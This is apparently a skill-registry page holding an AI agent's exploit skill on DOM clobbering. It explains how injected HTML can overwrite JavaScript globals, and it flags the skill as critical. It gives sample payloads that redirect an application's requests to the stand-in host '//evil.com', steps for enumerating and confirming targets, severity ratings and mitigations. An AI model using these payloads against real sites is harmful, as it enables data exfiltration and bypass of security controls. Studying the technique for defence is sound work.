DOM clobbering — abuse named HTML elements to overwrite JavaScript global variables, bypass CSP, hijack object property lookups.
63
75%
Does it follow best practices?
Run evals on this skill
Adds up to 20 points to the overall score
View guide
Critical
Do not install without reviewing
Fix and improve this skill with Tessl
tessl review fix ./packages/decepticon/decepticon/skills/standard/exploit/web/dom-clobbering/SKILL.mdNamed HTML elements (<form>, <a>, <input>, <img>) with name=
or id= are accessible as JavaScript properties of window and document.
If app code does if (window.config.endpoint) and attacker can inject
HTML (even sanitized), they can replace window.config with an HTML
element.
<!-- App code -->
<script>
if (window.config && window.config.endpoint) {
fetch(window.config.endpoint + '/data');
}
</script>
<!-- Attacker-injected HTML (passes most sanitizers — no script/event handlers) -->
<form id="config"><input name="endpoint" value="//evil.com"></form>window.config resolves to the form. window.config.endpoint resolves
to the input. .endpoint is now "//evil.com". App fetches from evil.
window.location overwrite (anchor w/ id=location)$.cookie, etc)document.cookie (limited but exploitable)window.onerror clobber<a id="config" href="//evil.com"></a>
<!-- window.config is the anchor; window.config.toString() returns "//evil.com" -->a.b.c)<form id="config"><input name="endpoint" value="//evil.com"></form>
<!-- window.config.endpoint = "//evil.com" -->
<!-- Deeper nesting via name= chaining is more limited; needs Document Proxy or specific browsers --><!-- App: <script nonce="ABC123"> -->
<form name="nonce"><input name="nonce" value="ABC123"></form>
<!-- Some code reads window.nonce.value (rare but exists) --><form name="cookie" action="//evil.com"></form>
<!-- document.cookie unchanged but some libs read window.cookie -->DOM clobbering payloads pass MOST HTML sanitizers (DOMPurify default, sanitize-html, bleach) because they contain no script tags or event handlers. Targets:
// In browser console on a target page, list all "named" elements that exist:
Array.from(document.getElementsByTagName('*'))
.filter(e => e.name || e.id)
.map(e => [e.tagName, e.name || e.id]);
// Then check which of these names also exist as window properties used by app JS
// (grep app JS bundle for `window.<name>` references)Find an HTML-injection sink (not strict XSS) that passes sanitizer
because no JS. Inject the form clobber. Confirm via observed network
request to //evil.com (DNS-level via interactsh).
| Bug | Severity |
|---|---|
| Clobber → CSP bypass enabling stored XSS | Critical 9.0 |
| Clobber of endpoint → exfil PII | High 8.0 |
| Clobber of OAuth flow config | Critical 9.0 |
| Standalone clobber w/o exploitable chain | Low-Medium |
id= and name= from user content (DOMPurify
has ALLOW_DATA_ATTR: false + FORBID_ATTR: ['id', 'name'] config)Object.defineProperty(window, 'config', {value: cfg, writable: false})
for security-critical globalsscript-src w/ hashes (not just nonces) — DOM clobbering can't fake the hashskills/_corpus/payloads/DOM Clobbering/skills/exploit/web/xss.mdskills/exploit/web/css-injection/SKILL.md (when added)0cf691e
If you maintain this skill, you can claim it as your own. Once claimed, you can manage eval scenarios, bundle related skills, attach documentation or rules, and ensure cross-agent compatibility.